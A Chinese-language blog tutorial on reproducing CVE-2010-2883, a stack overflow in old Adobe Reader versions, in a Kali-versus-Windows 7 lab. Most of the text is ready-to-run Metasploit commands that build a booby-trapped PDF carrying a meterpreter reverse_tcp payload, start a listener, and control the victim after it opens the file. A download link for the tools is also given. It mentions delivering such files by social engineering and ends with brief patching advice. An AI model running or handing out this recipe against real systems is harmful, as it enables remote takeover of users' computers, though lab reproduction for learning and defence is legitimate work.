[漏洞复现] CVE-2010-2883 Adobe Reader 打开pdf即刻中招

一、漏洞概述

在“漏洞界”，据称有两种大山是其余软件永远没法匹敌的，一个是Microsoft的Office套件，一个是Adobe的全家桶。这两家出的漏洞，不管在出洞频率、***危害性、或者是影响范围等多个维度来看，都直接将其余软件远远甩开。若是要较真起来，到底谁是“漏洞之王”？

相信Adobe必定能“摘得桂冠”。

Adobe全家桶里面的Adobe Flash Player、Adobe Reader、Adobe Acrobat等产品，能够说是“难兄难弟”了，每一年都会贡献一大堆漏洞。不少人就会问，为何就他们家的产品漏洞最多，别人家的呢？

其实，全部软件都或多或少有漏洞，没有绝对安全的软件，就看有没有人去挖掘而已。

Adobe系列由于桌面安装量很是庞大，并且官方彷佛安全开发工做这块作的不是太好，大量的***或安全研究人员愿意投入更多的时间来“挖洞”，一个成熟可利用的Adobe 0day漏洞，价值连城绝不夸张。

这不，2018年2月份，Adobe Flash最新版就爆出CVE-2018-4878 高危漏洞，可致使电脑直接被getshell。而同一月份，思科旗下安全团队TALOS披露了Adobe Reader最新版存在远程代码执行漏洞（CVE-2018-4901），简单来讲，“打开PDF文件可能致使被getshell”。目前，Adobe已经发布了针对此漏洞的安全补丁。

因为Adobe Reader CVE-2018-4901 暂时尚未成熟可用的***代码流传出来，因此目前并无像Adobe Flash CVE-2018-4878 引发更普遍的关注。

可是，咱们要注意一点的是，此时此刻，一定有不少***正在尝试写***代码，准备发起新一轮***。

虽然咱们无法直接对最新CVE-2018-4901进行复现，但从学习的角度，能够拿一个很是经典的老漏洞 CVE-2010-2883 来进行实践。这枚漏洞年限已久，但能够直接作出“打开pdf即刻中招”的效果，能够说是“简单暴力”的典范了。

CVE-2010-2883漏洞原理：“Adobe Reader在处理CoolType字体文件的sing表时，存在栈溢出漏洞，当打开特制的恶意PDF文件时，可容许任意代码远程执行。”

影响版本：Adobe Reader 8.2.4 - 9.3.4

目前，Kali Linux Metasploit已经集成了相关的漏洞利用代码，咱们能够用较快的速度，对此漏洞进行复现。

二、漏洞复现环境

Kali Linux + Windows 7 sp1 
***机：Kali Linux （ip：172.16.70.216） 
靶机：Windows 7 sp1 （ip：172.16.70.199） 
软件：Adobe Reader 9.3.exe

注：此实验环境所用***机和靶机，跟以前文章所分享一致。为了节省你们实验时间，我将此实验涉及到的工具所有上传到网盘=> 
连接: https://pan.baidu.com/s/1585jIDZgRh7IzwE01dK-Bw 密码:ie8m

三、实验流程

①进入Kali Linux，使用Metasploit生成PDF***文件

搜索Adobe***模块 
msf > search adobe_cooltype_sing 
调用***模块 
msf > use exploit/windows/fileformat/adobe_cooltype_sing/ 
查看模块详情 
msf exploit(adobe_cooltype_sing) > info

调用meterpreter载荷，反向链接到***机 
msf  exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp 
设置Kali Linux的IP地址 
msf  exploit(adobe_cooltype_sing) > set LHOST 172.16.70.216 
设置本地监听端口 
msf  exploit(adobe_cooltype_sing) > set LPORT 8888 
设置带有后门程序的PDF文件 
msf  exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf 
执行***生成文件 
msf  exploit(adobe_cooltype_sing) > exploit 

②将PDF***文件拷贝至Kali Linux桌面

root@kali:~# cp /root/.msf4/local/PINGINGLAB.pdf /root/Desktop/PINGINGLAB.pdf 

③Metasploit开启shell监听会话，等待肉鸡上线

使用handler监听模块 
msf > use exploit/multi/handler 
回弹一个tcp链接 
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp 
设置监听IP地址（跟PDF***文件一致） 
msf  exploit(handler) > set LHOST 172.16.70.216 
设置监听的端口（跟PDF***文件一致） 
msf  exploit(handler) > set LPORT 8888 
开启监听 
msf  exploit(handler) > exploit 

④在Windows 7安装Adobe Reader 9.3

⑤将PDF***文件拷贝到Windows 7并打开

⑥Metasploit获取shell会话，并用Meterpreter控制肉鸡

查看系统信息 
meterpreter > sysinfo 
查看当前用户 
meterpreter > getuid 
截屏 
meterpreter > screenshot

获取进程 
meterpreter > ps 
切换进程（考虑到这个漏洞利用过程，adobe reader会“卡壳”退出，因此须要快速切换到其余系统进程，这样会话才不会失效） 
meterpreter > migrate 3748 

获取Dos Shell 
meterpreter > shell 
C:\Windows\system32>ipconfig 

实验总结： 
能够看到，最终因为Adobe Reader 存在CVE-2010-2883这个高危漏洞，致使电脑打开特殊定制的pdf以后，直接变成肉鸡。与以前文章中的Office和Flash 0day漏洞相似，真实环境下，不少***会利用此方法，结合社会工程学，例如经过诱导邮件、各类论坛、QQ群、微信群等多渠道，诱导用户下载并打开，而只要打开的用户，就直接中招。

在这里也呼吁你们：日常要很是当心陌生办公文件，不管是pdf仍是word等，打开以前必定要明确来源，或者用杀毒软件先杀毒，再打开。另外，就是尽可能保证电脑的软件处于最新版，这样才能最大程度下降被***的概率。

四、漏洞修复

①直接到Adobe官网，下载Adobe Reader最新版本； 
②安装常见杀毒软件，开启实时防御和杀毒引擎实时升级。

---

相关推文：

[漏洞复现] MS17-010 基于"永恒之蓝"实现Windows Getshell

[漏洞复现] CVE-2017-11882 通杀全部Office版本

[漏洞复现] CVE-2017-16995 Ubuntu16.04